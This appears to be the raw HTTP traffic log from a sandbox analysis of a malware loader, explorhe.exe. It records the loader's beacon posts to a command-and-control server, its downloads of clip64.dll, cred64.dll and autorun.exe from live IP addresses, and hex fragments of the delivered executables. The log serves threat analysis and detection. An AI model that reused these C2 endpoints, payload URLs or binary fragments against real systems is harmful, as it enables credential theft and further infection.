Jan 18, 2024 00:34:29.648402929 CET	1286	IN	Data Raw: 6a 08 8b f1 e8 ad ca 01 00 8b 55 08 59 8b c8 8b 12 83 61 04 00 89 11 83 7e 04 00 75 0d 89 4e 04 ff 06 89 4e 08 5e 5d c2 04 00 8b 46 08 89 48 04 eb ee 55 8b ec b8 04 00 01 00 e8 ec eb 03 00 56 8d 45 fc 8b f2 50 8d 85 fc ff fe ff 50 68 ff 7f 00 00 Data Ascii: jUYa~uNN^]FHUVEPPh1hIEt3fP7^VVYtf\|F\u3fLF^UVW3FO;Qu_^]USVWueYN3C;F
Jan 18, 2024 00:34:29.848248959 CET	1286	IN	Data Raw: 6a 10 53 e8 94 c0 01 00 83 c4 0c 8b de 85 f6 75 e5 5e 8b 4f 4c 33 db 85 c9 74 0d 8d 41 fc 39 18 74 44 8b 01 6a 03 ff 10 ff 77 14 e8 b3 c0 01 00 59 8d 4f 18 89 5f 08 89 5f 0c 89 5f 10 89 5f 14 89 5f 4c 66 89 1f e8 64 2a 00 00 8d 4f 28 e8 7a da ff Data Ascii: jSu^OL3tA9tDjwYO_____Lfd*O(z9_XOP_[>PwYUS]EVWhA@~7jV&tQWYY_^[]VWj^$MZu MMrZMh
Jan 18, 2024 00:34:29.849160910 CET	1286	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:34:29 GMT Content-Type: application/octet-stream Content-Length: 916480 Last-Modified: Thu, 18 Jan 2024 07:20:25 GMT Connection: keep-alive ETag: "65a8d139-dfc00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 39 d1 a8 65 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 4c 04 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 09 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 60 0e 00 00 04 00 00 b8 4e 0e 00 02 00 40 80 00 00 40 00 00 10 00 00 00 00 40 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 64 8e 0c 00 7c 01 00 00 00 40 0d 00 40 90 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 0d 00 94 75 00 00 f0 0f 0b 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 34 0c 00 18 00 00 00 10 10 0b 00 40 00 00 00 00 00 00 00 00 00 00 00 00 c0 09 00 94 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 1d ab 09 00 00 10 00 00 00 ac 09 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 82 fb 02 00 00 c0 09 00 00 fc 02 00 00 b0 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 6c 70 00 00 00 c0 0c 00 00 48 00 00 00 ac 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 40 90 00 00 00 40 0d 00 00 92 00 00 00 f4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 94 75 00 00 00 e0 0d 00 00 76 00 00 00 86 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@ !L!This program cannot be run in DOS mode.$j:j:Cj:@*n~{{{z{RichPEL9e"Lw@`N@@@d\|@@u4@.text `.rdata@@.datalpH@.rsrc@@@@.relocuv@B

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49796	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:34:53.271512985 CET	64	OUT	GET /theme/Plugins/cred64.dll HTTP/1.1 Host: 185.215.113.68
Jan 18, 2024 00:34:53.503695965 CET	326	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:34:53 GMT Content-Type: text/html Content-Length: 162 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>
Jan 18, 2024 00:34:53.637270927 CET	64	OUT	GET /theme/Plugins/clip64.dll HTTP/1.1 Host: 185.215.113.68
Jan 18, 2024 00:34:53.870337009 CET	1286	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:34:53 GMT Content-Type: application/octet-stream Content-Length: 104448 Last-Modified: Thu, 04 Jan 2024 19:50:16 GMT Connection: keep-alive ETag: "65970bf8-19800" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 27 f6 04 b3 63 97 6a e0 63 97 6a e0 63 97 6a e0 38 ff 69 e1 69 97 6a e0 38 ff 6f e1 eb 97 6a e0 38 ff 6e e1 71 97 6a e0 b6 fa 6e e1 6c 97 6a e0 b6 fa 69 e1 72 97 6a e0 b6 fa 6f e1 42 97 6a e0 38 ff 6b e1 64 97 6a e0 63 97 6b e0 02 97 6a e0 f8 f9 63 e1 60 97 6a e0 f8 f9 6a e1 62 97 6a e0 f8 f9 95 e0 62 97 6a e0 f8 f9 68 e1 62 97 6a e0 52 69 63 68 63 97 6a e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 68 d6 96 65 00 00 00 00 00 00 00 00 e0 00 02 21 0b 01 0e 18 00 0e 01 00 00 92 00 00 00 00 00 00 21 67 00 00 00 10 00 00 00 20 01 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 e0 01 00 00 04 00 00 00 00 00 00 02 00 40 01 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 a0 7a 01 00 9c 00 00 00 3c 7b 01 00 50 00 00 00 00 b0 01 00 f8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 01 00 00 13 00 00 b0 6f 01 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 6f 01 00 40 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 48 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 56 0c 01 00 00 10 00 00 00 0e 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 a0 62 00 00 00 20 01 00 00 64 00 00 00 12 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 04 17 00 00 00 90 01 00 00 0c 00 00 00 76 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f8 00 00 00 00 b0 01 00 00 02 00 00 00 82 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 00 13 00 00 00 c0 01 00 00 14 00 00 00 84 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$'cjcjcj8iij8oj8nqjnljirjoBj8kdjckjc`jjbjbjhbjRichcjPELhe!!g @z<{Po8o@ H.textV `.rdatab d@@.datav@.rsrc@@.reloc@B
Jan 18, 2024 00:34:53.870451927 CET	1286	IN	Data Raw: 00 00 00 00 00 6a 20 68 e8 6c 01 10 b9 70 98 01 10 e8 df 48 00 00 68 00 16 01 10 e8 ad 53 00 00 59 c3 cc cc cc 6a 20 68 0c 6d 01 10 b9 88 98 01 10 e8 bf 48 00 00 68 60 16 01 10 e8 8d 53 00 00 59 c3 cc cc cc 6a 14 68 30 6d 01 10 b9 a0 98 01 10 e8 Data Ascii: j hlpHhSYj hmHh`SYjh0mHhmSYjhHmHh MSYjham_Hh-SYjham?HhSYjhamHh@RYjham
Jan 18, 2024 00:34:53.870583057 CET	1286	IN	Data Raw: 00 00 51 57 e8 58 4b 00 00 83 c4 08 8b 55 98 83 fa 10 72 2c 8b 4d 84 42 8b c1 81 fa 00 10 00 00 72 14 8b 49 fc 83 c2 23 2b c1 83 c0 fc 83 f8 1f 0f 87 64 02 00 00 52 51 e8 24 4b 00 00 83 c4 08 8b 45 fc c6 84 05 80 fb ff ff 00 8d 45 fc 50 68 ff 03 Data Ascii: QWXKUr,MBrI#+dRQ$KEEPhPV<!]V5@!uuEUE~EfCEEr/MBrI#+RQJEEEEr.
Jan 18, 2024 00:34:53.870636940 CET	1286	IN	Data Raw: 00 00 c6 45 e0 00 e8 de 3e 00 00 8d 45 e0 8b d7 50 8d 4d c8 e8 10 40 00 00 8b d8 83 c4 04 3b fb 74 65 8b 4f 14 83 f9 10 72 2b 8b 07 41 81 f9 00 10 00 00 72 16 8b 50 fc 83 c1 23 2b c2 83 c0 fc 83 f8 1f 0f 87 cd 00 00 00 8b c2 51 50 e8 09 46 00 00 Data Ascii: E>EPM@;teOr+ArP#+QPFGG~CfGCCUr(MBrI#+wiRQEUEEEr(MBrI#+w'RQe
Jan 18, 2024 00:34:53.870727062 CET	1286	IN	Data Raw: be 04 18 8b 04 81 83 f8 ff 74 27 c1 e6 06 03 f0 83 c7 06 78 18 8b cf 8b c6 d3 f8 8b 4d f4 50 e8 af 35 00 00 8b 55 ec 83 ef 08 8b 4d f8 43 3b da 72 c2 8b 45 f8 85 c0 74 0e 68 00 04 00 00 50 e8 11 41 00 00 83 c4 08 8b 55 f0 83 fa 10 72 28 8b 4d dc Data Ascii: t'xMP5UMC;rEthPAUr(MBrI#+wVRQ@UEEEr(MBrI#+wRQ@E_^[]fUESV3WCC
Jan 18, 2024 00:34:53.870810032 CET	1286	IN	Data Raw: c1 0f 42 c8 83 7d 1c 10 8d 45 08 0f 43 45 08 51 03 c7 8d 4d e8 50 e8 c2 34 00 00 83 ec 18 8d 45 d0 8b cc 50 e8 f4 33 00 00 83 ec 18 8d 45 e8 8b f4 83 ec 18 8b cc 50 e8 e1 33 00 00 8b ce e8 aa fe ff ff 83 c4 18 e8 a2 fc ff ff 8b 55 fc 83 c4 30 85 Data Ascii: B}ECEQMP4EP3EP3U0r,MBrI#+RQ;EG;HUr(MBrI#+wxRQ;Ur^MBrFI#+wH4
Jan 18, 2024 00:34:53.870934963 CET	1286	IN	Data Raw: 00 72 14 8b 49 fc 83 c2 23 2b c1 83 c0 fc 83 f8 1f 0f 87 c4 15 00 00 52 51 e8 2b 37 00 00 83 c4 08 0f 10 45 d0 8b 75 e0 8d 45 e8 83 ec 18 0f 11 45 e8 8b cc f3 0f 7e 45 e0 50 66 0f d6 45 f8 e8 d3 2e 00 00 83 ec 18 8b cc 6a 03 68 5c 6e 01 10 c7 41 Data Ascii: rI#+RQ+7EuEE~EPfE.jh\nAAq/\|0EEEHE;H+;B}ECEMVP+/r.ArP#+QPg6E
Jan 18, 2024 00:34:53.870989084 CET	1286	IN	Data Raw: 00 72 16 8b 50 fc 83 c1 23 2b c2 83 c0 fc 83 f8 1f 0f 87 be 10 00 00 8b c2 51 50 e8 23 32 00 00 83 c4 08 0f 10 45 d0 8b 55 e0 83 ec 18 8b cc b8 a8 99 01 10 0f 11 05 a8 99 01 10 f3 0f 7e 45 e0 66 0f d6 05 b8 99 01 10 c7 41 10 00 00 00 00 c7 41 14 Data Ascii: rP#+QP#2EU~EfAA9B=RCPV*M>t\|r.ArP#+QP}1~F
Jan 18, 2024 00:34:53.871102095 CET	1286	IN	Data Raw: 16 8b 50 fc 83 c1 23 2b c2 83 c0 fc 83 f8 1f 0f 87 9c 0b 00 00 8b c2 51 50 e8 1f 2d 00 00 83 c4 08 c7 05 d0 99 01 10 00 00 00 00 c7 05 d4 99 01 10 0f 00 00 00 c6 05 c0 99 01 10 00 0f 10 06 0f 11 05 c0 99 01 10 f3 0f 7e 46 10 66 0f d6 05 d0 99 01 Data Ascii: P#+QP-~FfFFUr,MBrI#+#RQ,uEPb$jhtnAA%0EEEHE;
Jan 18, 2024 00:34:53.871139050 CET	1286	IN	Data Raw: c6 01 00 e8 bd 20 00 00 e8 c8 e8 ff ff 83 c4 30 c7 45 e0 00 00 00 00 c7 45 e4 0f 00 00 00 c6 45 d0 00 8d 48 ff b8 f0 99 01 10 39 0d 00 9a 01 10 0f 42 0d 00 9a 01 10 83 3d 04 9a 01 10 10 51 0f 43 05 f0 99 01 10 8d 4d d0 50 e8 76 20 00 00 8b 0d 04 Data Ascii: 0EEEH9B=QCMPv r.ArP#+MQP'EU~EfAA9B=RCPM
Jan 18, 2024 00:34:54.105185032 CET	1286	IN	Data Raw: 01 10 e8 f8 1a 00 00 83 ec 18 8b cc 68 70 6e 01 10 e8 a9 1a 00 00 e8 b4 e3 ff ff 83 c4 30 48 b9 c0 99 01 10 50 6a 00 8d 45 d0 50 e8 2f 17 00 00 50 b9 c0 99 01 10 e8 24 19 00 00 8d 4d d0 e8 cc 18 00 00 ff 75 f8 8d 45 e8 83 ec 1c 8b cc 50 e8 ab 1a Data Ascii: hpn0HPjEP/P$MuEPhtn\g4MPEPPMhbhxn0HPjEPPM6uEPh\|n

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49795	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:34:53.279674053 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:34:53.519175053 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:34:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30
Jan 18, 2024 00:34:53.521550894 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:34:53.770772934 CET	399	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:34:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 64 31 0d 0a 20 3c 63 3e 31 30 30 30 33 39 37 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 64 30 33 34 37 62 35 63 61 34 64 37 65 33 64 34 61 37 66 62 33 30 32 61 62 38 61 39 65 61 36 66 65 65 36 62 62 64 39 36 61 39 63 30 66 34 39 61 36 35 36 23 31 30 30 30 34 30 30 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 64 30 63 30 66 39 63 33 34 65 31 65 65 62 39 66 31 37 33 63 36 39 30 30 36 30 66 32 34 31 66 63 39 37 64 35 61 62 61 34 61 31 65 64 39 62 32 66 63 30 31 33 31 64 66 31 34 30 65 31 35 38 35 31 35 63 34 35 39 37 63 62 65 31 30 61 62 35 62 66 64 31 34 30 32 61 65 36 37 32 32 66 61 65 30 63 38 66 64 61 23 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: d1 <c>1000397001+++b5937c1a99d5f9dd0347b5ca4d7e3d4a7fb302ab8a9ea6fee6bbd96a9c0f49a656#1000400001+++b5937c1ad0c0f9c34e1eeb9f173c690060f241fc97d5aba4a1ed9b2fc0131df140e158515c4597cbe10ab5bfd1402ae6722fae0c8fda#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49800	194.33.191.102	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:34:53.954739094 CET	51	OUT	GET /autorun.exe HTTP/1.1 Host: 194.33.191.102
Jan 18, 2024 00:34:54.176140070 CET	325	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Content-Length: 367616 Accept-Ranges: bytes Server: HFS 2.3m Set-Cookie: HFS_SID_=0.204524458618835; path=/; HttpOnly ETag: ECC1C63743BE78AF556B87DB0C2B3958 Last-Modified: Tue, 16 Jan 2024 03:09:13 GMT Content-Disposition: attachment; filename="autorun.exe";
Jan 18, 2024 00:34:54.178168058 CET	1286	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELnXe @ U3`
Jan 18, 2024 00:34:54.178198099 CET	174	IN	Data Raw: 88 00 00 00 61 d2 81 1e 00 00 01 02 50 06 8f 1e 00 00 01 25 71 1e 00 00 01 1f 2e 58 d2 81 1e 00 00 01 02 50 06 8f 1e 00 00 01 25 71 1e 00 00 01 1f 58 61 d2 81 1e 00 00 01 02 50 06 8f 1e 00 00 01 25 71 1e 00 00 01 1f 4e 58 d2 81 1e 00 00 01 06 17 Data Ascii: aP%q.XP%qXaP%qNXX?o(*Ann0)soi
Jan 18, 2024 00:34:54.178247929 CET	1286	IN	Data Raw: 3c 09 00 00 00 07 02 8e 69 3d 06 00 00 00 73 0c 00 00 06 26 2a 00 00 00 46 28 2c 00 00 06 28 8d 00 00 06 02 28 1a 00 00 0a 2a 00 00 13 30 03 00 38 00 00 00 05 00 00 11 28 2c 00 00 06 28 8d 00 00 06 14 0b 02 28 1a 00 00 0a 07 3a 0d 00 00 00 02 fe Data Ascii: <i=s&F(,((08(,((:s(o9*0~ %(i(~~(i@(9( ~((&
Jan 18, 2024 00:34:54.178318024 CET	174	IN	Data Raw: 09 11 04 18 1f 11 19 06 28 1b 00 00 06 12 04 11 05 11 06 09 19 1f 16 1a 06 28 1b 00 00 06 12 03 11 04 11 05 11 06 1a 1d 1b 06 28 1b 00 00 06 12 06 09 11 04 11 05 1b 1f 0c 1c 06 28 1b 00 00 06 12 05 11 06 09 11 04 1c 1f 11 1d 06 28 1b 00 00 06 12 Data Ascii: ((((((((((
Jan 18, 2024 00:34:54.178410053 CET	1286	IN	Data Raw: 03 11 04 11 05 11 06 1f 0c 1d 1f 0d 06 28 1b 00 00 06 12 06 09 11 04 11 05 1f 0d 1f 0c 1f 0e 06 28 1b 00 00 06 12 05 11 06 09 11 04 1f 0e 1f 11 1f 0f 06 28 1b 00 00 06 12 04 11 05 11 06 09 1f 0f 1f 16 1f 10 06 28 1b 00 00 06 12 03 11 04 11 05 11 Data Ascii: (((((((((((((
Jan 18, 2024 00:34:54.178426981 CET	174	IN	Data Raw: 00 06 17 80 19 00 00 04 7e 22 00 00 04 2a 1e 02 28 1a 00 00 0a 2a 13 30 06 00 49 03 00 00 09 00 00 11 05 8e 69 1a 5d 0a 05 8e 69 1a 5b 0b 05 8e 69 8d 1e 00 00 01 0c 03 8e 69 1a 5b 0d 16 13 04 16 13 05 16 13 06 06 16 3e 04 00 00 00 07 17 58 0b 16 Data Ascii: ~"(0Ii]i[ii[>X8]ZZXbXb`Xb`` Y@I>B
Jan 18, 2024 00:34:54.178504944 CET	1286	IN	Data Raw: 06 11 04 11 05 58 13 04 16 13 0d 38 23 00 00 00 11 0d 16 3e 06 00 00 00 11 06 1e 62 13 06 11 06 05 05 8e 69 17 11 0d 58 59 91 60 13 06 11 0d 17 58 13 0d 11 0d 06 3f d5 ff ff ff 38 2e 00 00 00 11 04 11 05 58 13 04 11 0a 13 07 05 11 07 19 58 91 1f Data Ascii: X8#>biXY`X?8.XXbXb`Xb``% 7 t. v.I R_Y }x _Z dY _Z dY Y_Z
Jan 18, 2024 00:34:54.178519011 CET	174	IN	Data Raw: 00 00 11 05 8e 69 1a 5d 13 06 11 05 8e 69 1a 5b 13 07 11 05 8e 69 8d 1e 00 00 01 13 08 16 13 09 16 13 0a 11 06 16 3e 06 00 00 00 11 07 17 58 13 07 16 13 0b 16 13 0e 38 4d 01 00 00 11 0e 1a 5a 13 0f 20 ff 00 00 00 13 10 16 13 11 11 0e 11 07 17 59 Data Ascii: i]i[i>X8MZ Y@F>>8%>biXY`X?8+Xb
Jan 18, 2024 00:34:54.178534985 CET	1286	IN	Data Raw: 0b 18 58 91 1f 10 62 60 11 05 11 0b 17 58 91 1e 62 60 11 05 11 0b 91 60 13 0a 11 09 13 09 11 09 11 09 28 2b 00 00 06 58 13 09 11 0e 11 07 17 59 40 53 00 00 00 11 06 16 3e 4b 00 00 00 11 09 11 0a 61 13 13 16 13 14 38 2e 00 00 00 11 14 16 3e 0c 00 Data Ascii: Xb`Xb``(+XY@S>Ka8.>bXX__dX?8Ma _X _dX _dX _dX?i[
Jan 18, 2024 00:34:54.178566933 CET	174	IN	Data Raw: 00 77 0f 00 00 b9 1d 00 00 9f 05 00 00 15 13 00 00 84 23 00 00 0a 1c 00 00 9a 0a 00 00 f9 02 00 00 d4 24 00 00 6c 1d 00 00 98 22 00 00 90 0f 00 00 d6 16 00 00 8d 29 00 00 57 1a 00 00 6c 15 00 00 98 13 00 00 26 27 00 00 4f 0d 00 00 c6 26 00 00 b1 Data Ascii: w#$l")Wl&'O&+%+)R#.%m($ J(pQ

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	49803	34.107.221.82	80	7604	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:34:54.486440897 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Jan 18, 2024 00:34:54.616183996 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 17 Jan 2024 14:14:03 GMT Age: 33651 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Jan 18, 2024 00:34:55.312031031 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
